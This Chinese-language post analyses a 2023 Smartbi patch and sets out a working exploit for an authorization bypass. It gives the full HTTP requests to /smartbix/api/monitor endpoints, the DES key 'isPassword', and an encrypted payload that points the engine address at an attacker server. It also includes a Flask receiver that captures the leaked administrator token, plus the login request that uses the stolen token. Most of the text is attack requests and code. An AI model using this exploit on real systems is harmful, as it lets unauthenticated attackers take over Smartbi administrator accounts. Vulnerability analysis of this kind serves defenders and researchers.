2023年8月8日Smartbi官方又修复了一处权限绕过漏洞。该漏洞是上一个特定场景下设置Token回调地址漏洞的绕过，未经授权的攻击者可利用该漏洞，获取管理员token，完全接管管理员权限。 于是研究了下相关补丁并进行分析。

0x01 分析过程

阅读相关补丁，可知此次漏洞与/smartbix/api/monitor/setAddress有关

是上一个漏洞的绕过，是发现了/smartbix/api/monitor/setAddress接口可以未授权设置SERVICE_ADDRESS、ENGINE_ADDRESS，只不过多了一步DES解密的过程(这个上次看的时候就发现了，但是由于将c_address、和u_address看成同一个了以为不能利用，只能说很多师傅都在看smartbi,只要一有新的洞，绕过很快就出来了）

查看CommonUtil.desDecode方法，其实也只是进行DES解密，密钥为isPassword

故只需要按照该算法进行加密恶意参数就可以设置SERVICE_ADDRESS、ENGINE_ADDRESS为伪造服务器地址，用于接收token

0x02 分析结果

第一步，获取之前的EngineAddress

首先通过/smartbi/smartbix/api/monitor/engineInfo/接口获取之前的engineAddress、serviceAddress这是因为要进行修改设置，需要提供之前的地址

POST /smartbi/smartbix/api/monitor/engineInfo/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 4
​

第二步，设置EngineAddress为攻击者机器上的伪造http服务地址

通过/smartbi/smartbix/api/monitor/setAddress/接口设置engineAddress为fake server地址该接口的参数需要进行DES加密，参数明文为

{
  "type": "experiment",
  "c_address": "http://10X.0.0.1:8010",
  "u_address": "http://10x.0.0.55:8000"
}

c_address填写上述第一步获取得到的engineAddress，加密得到密文, u_address设置为新的engineAddress，可以理解为用于接收token的fake server地址，此处设置为http://10x.0.0.55:8000，这个是一个用flask搭建的fake server，上面只注册了/api/v1/configs/engine/smartbitoken路由

from flask import Flask,jsonify,request
​
​
app = Flask(__name__)
​
@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
    print(request.json)
    return jsonify(hi="jello")
​
if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)

POST /smartbi/smartbix/api/monitor/setAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 208
​
312E8684378EBDFF7E798B0BCCC45588EF682890F6F1701AF9D9416B4E357E80A1E8622D15B57E607DBBA3017ECED7C2CA66C54FD4D13B5C1F284652B5D82487F9D9416B4E357E80A1E8622D15B57E60A18C8967740045322142EE017FD0F4E9559184E27B9F8372

从响应来看返回true,即修改成功

第三步，触发smartbi向刚刚设置的EngineAddress外发token

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10
​
experiment

发送相关请求后，即可在我们的fake server上面看到了携带token的请求

第四步，使用上面获取的token进行登录

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47
​
admin_xxxxxxxxxxxxxxxxx84f50082

返回true表示登录成功，其中的cookie就是admin账户的合法凭证